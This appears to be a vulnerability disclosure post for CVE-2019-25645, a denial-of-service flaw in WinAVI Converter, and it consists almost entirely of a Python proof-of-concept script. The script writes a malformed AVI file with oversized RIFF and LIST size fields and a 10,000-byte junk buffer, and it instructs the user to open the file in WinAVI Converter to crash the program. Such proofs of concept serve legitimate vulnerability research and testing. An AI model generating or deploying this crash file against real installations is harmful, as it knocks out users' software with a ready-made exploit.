CVE-2019-25645 WinAVI Converter拒绝服务漏洞

import struct # PoC for CVE-2019-25645 # Description: Generates a malformed AVI file with an oversized buffer to trigger DoS. filename = "exploit.avi" # Basic AVI file header structure riff_header = b"RIFF" riff_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size file_type = b"AVI " list_header = b"LIST" list_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size list_type = b"hdrl" # Junk data to simulate oversized buffer junk_buffer = b"A" * 10000 # Construct the malformed file payload = riff_header + riff_size + file_type + list_header + list_size + list_type + junk_buffer with open(filename, "wb") as f: f.write(payload) print(f"[+] Created {filename}. Load this in WinAVI Converter to trigger the crash.")